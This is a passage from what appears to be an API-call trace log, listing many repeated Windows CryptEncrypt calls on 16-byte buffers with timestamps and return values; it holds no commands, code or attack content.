dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.854] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.855] CryptEncrypt (in: 